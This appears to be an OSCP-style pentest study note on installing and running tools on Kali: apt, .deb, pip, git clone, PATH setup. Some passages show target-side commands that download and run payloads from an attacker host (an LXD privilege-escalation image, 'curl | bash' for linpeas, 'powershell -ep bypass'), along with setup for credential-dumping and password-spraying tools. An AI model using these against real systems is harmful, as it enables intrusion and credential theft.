Install, Download & Run Tools — How-To
Ctrl+F:
git clone·.deb·pip install .·/usr/local/bin·PATH·wget·make install
External: Internal All The Things — Windows Download Execute
One reference for mechanics — how to install anything. Per-tool commands → Installation - Kali Setup.
Got a file or URL? → pick type below → install → make runnable → verify with `which`
Archives (zip / 7z / tar / rar): Archives - unzip 7z zip — extract, inspect, password-protected zips, when not to extract.
📌 0) Before you install
which TOOLNAME # already on Kali?
TOOLNAME -h 2>&1 | head -3
sudo apt update # refresh apt index first| Prefer | When |
|---|---|
apt install | Tool is in Kali repos — easiest, gets updates |
pip install package | Python PyPI tool (certipy-ad, bloodyAD) |
git clone + pip install . | Latest GitHub version (Impacket, Responder) |
Download binary / .deb | Releases page only, no apt package |
📌 1) File type → what to do
| Extension / type | What it is | Commands |
|---|---|---|
| (none) — apt name | Kali package | sudo apt install -y PACKAGENAME |
.deb | Debian/Ubuntu package file | sudo apt install ./file.deb or sudo dpkg -i file.deb && sudo apt -f install |
.rpm | Red Hat package (rare on Kali) | sudo alien -i file.rpm (install alien first) |
.tar.gz / .tgz / .tar.xz | Source or prebuilt tarball | Extract: Archives - unzip 7z zip > 📌 tar / .tar.gz / .tgz · Use as-is: pass to tool (e.g. LXC lxc image import) |
.zip | Archive | Archives - unzip 7z zip — 7z x · unzip · zipinfo -v |
.py | Python script | python3 script.py or install package (below) |
.sh | Shell script | chmod +x script.sh → ./script.sh or symlink to PATH |
| Binary (no ext) | Precompiled executable | chmod +x binary → sudo mv binary /usr/local/bin/ — must match target arch → Exec format error - Binary Architecture Mismatch |
.jar | Java app (Burp, ysoserial) | java -jar file.jar (needs default-jre) |
.exe / .ps1 | Windows | Transfer to target — not for Kali |
.AppImage | Portable Linux app | chmod +x AppImage && ./AppImage |
| Git URL | Source repo | git clone URL → build/install (§3) |
📌 1b) Archives — extract vs use as-is
Full reference → Archives - unzip 7z zip (zip, 7z, rar, tar, password cracks).
| You got… | Usually… | Commands |
|---|---|---|
.zip / .7z / .rar | Extract, then grep / run | 7z x file.zip · Archives - unzip 7z zip |
.tar.gz source release | Extract, then make / pip install . | tar -xzvf tool.tar.gz && cd tool-* |
.tar.gz container image | Do not extract — pass file to import tool | LXC: ./exx -f alpine-*.tar.gz → lxc - LXD Privilege Escalation - EDB 46978 |
.deb | Install with apt/dpkg | sudo apt install ./file.deb (§2) |
Example — LXC Alpine image (1119.tar.gz)
Built on Kali, transferred to target, consumed by exploit without tar -xzf:
# Kali — build (as root)
wget https://raw.githubusercontent.com/saghul/lxd-alpine-builder/master/build-alpine
sudo bash build-alpine
# → alpine-v3.24-x86_64-20260723_1119.tar.gz (name varies)
python3 -m http.server 8080# Target — download only (keep .tar.gz intact)
wget http://KALI:8080/alpine-v3.24-x86_64-20260723_1119.tar.gz
chmod +x exx
./exx -f alpine-v3.24-x86_64-20260723_1119.tar.gz
# lxc image import reads the tarball — do NOT tar -xzf it firstExample — tool source tarball
wget https://example.com/tool-1.0.tar.gz
tar -xzvf tool-1.0.tar.gz
cd tool-1.0 && cat README && make && sudo make install→ File Transfer · Archives - unzip 7z zip
apt — Kali packages (.deb repos)
sudo apt update
sudo apt install -y nmap gobuster python3-impacket hashcat hydra
# Search for a package name
apt search impacket
apt show python3-impacketManual .deb file
# Download
wget https://example.com/tool_amd64.deb
curl -LO https://example.com/tool_amd64.deb
# Install (preferred — resolves dependencies)
sudo apt install ./tool_amd64.deb
# Alternative
sudo dpkg -i tool_amd64.deb
sudo apt -f install # fix missing dependenciespip / pip3 — Python from PyPI
# Single package
pip3 install certipy-ad
pip3 install bloodyAD nxcspray
# From requirements.txt (after git clone)
cd /opt/tool && pip3 install -r requirements.txt
# Kali 2024+ — system Python may block pip; use ONE of:
pip3 install PACKAGE --break-system-packages
python3 -m venv ~/venv/tool && source ~/venv/tool/bin/activate && pip install PACKAGEgem / npm (occasional)
sudo gem install evil-winrm # Ruby tools
sudo npm install -g some-cli # Node tools (less common on OSCP)Download with wget / curl
wget https://github.com/user/repo/releases/download/v1.0/tool
curl -LO https://example.com/tool.tar.gz # -L follow redirects, -O save name
chmod +x tool
sudo mv tool /usr/local/bin/Build from source (Makefile)
tar -xzf tool-1.0.tar.gz && cd tool-1.0
./configure && make && sudo make install # autotools
# or
make && sudo make install # stegseek, some C tools📌 3) git clone — full workflow
Basic clone
sudo mkdir -p /opt && cd /opt
git clone https://github.com/fortra/impacket.git
cd impacket
lsClone to /opt/TOOL (system tools) or ~/tools/TOOL (personal).
Update existing clone
cd /opt/impacket
git pull
pip3 install . --break-system-packages # re-install if Python packageInstall Python project from clone (Impacket pattern)
Makes impacket-psexec, impacket-secretsdump, etc. available everywhere:
git clone https://github.com/fortra/impacket /opt/impacket
cd /opt/impacket
pip3 install . --break-system-packages
# or editable (changes in repo apply immediately):
pip3 install -e . --break-system-packages
# Verify — should be on PATH
which impacket-psexec
impacket-secretsdump -hWhat pip install . does: reads setup.py / pyproject.toml → installs package + console_scripts entry points into ~/.local/bin or system bin.
Clone + requirements only (no setup.py entry points)
git clone https://github.com/unode/firefox_decrypt ~/tools/firefox_decrypt
cd ~/tools/firefox_decrypt
pip3 install -r requirements.txt --break-system-packages # if requirements.txt exists
python3 firefox_decrypt.py /path/to/profile/ # run by pathClone + run script directly (no install)
git clone https://github.com/DominicBreuker/pspy.git ~/tools/pspy
cd ~/tools/pspy
python3 pspy64s.py -h
# or
chmod +x pspy64 && ./pspy64📌 4) Make a tool usable anywhere (PATH)
Hydra, nmap, and impacket-secretsdump work from any directory because their binaries are on PATH.
echo $PATH
# /usr/local/bin:/usr/bin:/bin:...:/home/you/.local/binMethod A — pip install . (best for Python projects)
cd /opt/impacket && pip3 install . --break-system-packages
which impacket-psexec # → /usr/local/bin/impacket-psexec or ~/.local/bin/...Ensures ~/.local/bin is on PATH (Kali usually includes it):
echo 'export PATH="$HOME/.local/bin:$PATH"' >> ~/.zshrc
source ~/.zshrcMethod B — Symlink script to /usr/local/bin
sudo ln -sf /opt/impacket/examples/secretsdump.py /usr/local/bin/secretsdump.py
sudo chmod +x /usr/local/bin/secretsdump.py
# If script uses #!/usr/bin/env python3 shebang:
secretsdump.py -h
# Or force python3:
sudo ln -sf /opt/krbrelayx/krbrelayx.py /usr/local/bin/krbrelayx.py→ Shebangs
Method C — Copy binary to /usr/local/bin
chmod +x pspy64
sudo cp pspy64 /usr/local/bin/
pspy64 -hMethod D — Wrapper in /usr/local/bin
For scripts that must run from their repo dir:
sudo tee /usr/local/bin/krbrelayx << 'EOF'
#!/bin/bash
cd /opt/krbrelayx && exec python3 krbrelayx.py "$@"
EOF
sudo chmod +x /usr/local/bin/krbrelayx
krbrelayx -hMethod E — Add directory to PATH (session or permanent)
# This session only
export PATH="/opt/impacket/examples:$PATH"
secretsdump.py -h
# Permanent
echo 'export PATH="/opt/impacket/examples:$PATH"' >> ~/.zshrc
source ~/.zshrcMethod F — alias (quick & dirty)
echo "alias secretsdump='python3 /opt/impacket/examples/secretsdump.py'" >> ~/.zshrc
source ~/.zshrc| Method | Best for |
|---|---|
pip install . | Official Python packages (Impacket, certipy-ad) |
Symlink to /usr/local/bin | Single .py script with shebang |
| Copy binary | Go/Rust releases, pspy, static bins |
| Wrapper script | Tool needs files from its repo directory |
export PATH=... | Whole folder of scripts (Impacket examples/) |
📌 5) Common OSCP install recipes
Impacket (apt vs git)
# Quick — Kali package
sudo apt install -y python3-impacket
ls /usr/share/doc/python3-impacket/examples/
# Latest — git + pip
git clone https://github.com/fortra/impacket /opt/impacket
cd /opt/impacket && pip3 install . --break-system-packages
impacket-psexec -h→ Impacket
Responder
git clone https://github.com/lgandx/Responder /opt/Responder
cd /opt/Responder
sudo python3 Responder.py -I tun0 -A
# or symlink:
sudo ln -sf /opt/Responder/Responder.py /usr/local/bin/responderfirefox_decrypt
git clone https://github.com/unode/firefox_decrypt ~/tools/firefox_decrypt
python3 ~/tools/firefox_decrypt/firefox_decrypt.py ./fir/→ Firefox Credentials - firefox_decrypt
nxcspray (pip + PATH)
git clone https://github.com/NTHSec/nxcspray.git
sudo cp nxcspray/nxcspray /usr/local/bin/ && sudo chmod +x /usr/local/bin/nxcspray
nxcspray targets.txt user pass smb,winrm,sshLinPEAS (already on Kali via peass)
sudo apt install -y peass
linpeas.sh
# path: /usr/share/peass/linpeas/linpeas.shBloodHound CE (git + docker or manual)
git clone https://github.com/SpecterOps/BloodHound.git
# Follow repo README for docker-compose or binaryGeneric GitHub release binary
wget https://github.com/USER/REPO/releases/download/v1.0/tool-linux-amd64
chmod +x tool-linux-amd64
sudo mv tool-linux-amd64 /usr/local/bin/toolname
toolname -h📌 6) Python venv (when pip blocks system install)
Kali 2024+ may show externally-managed-environment error:
python3 -m venv ~/venv/impacket
source ~/venv/impacket/bin/activate
pip install git+https://github.com/fortra/impacket.git
impacket-secretsdump -h
deactivate
# Re-activate later
source ~/venv/impacket/bin/activate→ Python
📌 7) Transfer TO TARGET (not Kali install)
| File | Target action |
|---|---|
.exe | Upload via File Transfer → run on Windows |
.ps1 | powershell -ep bypass -f script.ps1 |
linpeas.sh | curl | bash or chmod +x && ./linpeas.sh |
| Static binary | chmod +x && ./binary |
Kali serves; target downloads:
python3 -m http.server 8080
# target: wget http://KALI:8080/tool -O tool && chmod +x tool📌 8) Verify & troubleshoot
which impacket-psexec secretsdump.py nxc hydra
type impacket-psexec
pip3 show impacket
dpkg -l | grep impacket
command -v python3
# pip installed but not found — add local bin
export PATH="$HOME/.local/bin:$PATH"| Problem | Fix |
|---|---|
command not found after pip | export PATH="$HOME/.local/bin:$PATH" |
externally-managed-environment | venv or --break-system-packages |
dpkg dependency errors | sudo apt -f install |
Script ModuleNotFoundError | pip3 install -r requirements.txt in repo |
| Permission denied | chmod +x file |
| Wrong architecture | Download correct amd64/arm binary |
📌 Quick cheat sheet
# apt
sudo apt update && sudo apt install -y PACKAGE
# .deb file
sudo apt install ./package.deb
# git + python tool (usable everywhere)
git clone https://github.com/org/repo /opt/repo
cd /opt/repo && pip3 install . --break-system-packages
# git + run once
git clone URL ~/tools/repo && python3 ~/tools/repo/script.py
# single script → PATH
sudo ln -sf /full/path/script.py /usr/local/bin/script.py
# binary release
wget URL && chmod +x bin && sudo mv bin /usr/local/bin/name
# verify
which name && name -hRelated Notes
- Installation - Kali Setup — per-tool install table
- Archives - unzip 7z zip — zip, 7z, tar.gz extract, password zips, LXC image (don’t extract)
- Git & GitHub — exposed
.gitrecon + clone for cred hunting - Python — venv, http.server
- File Transfer — get files onto targets
- Shebangs — script first lines
- Tools
- Reference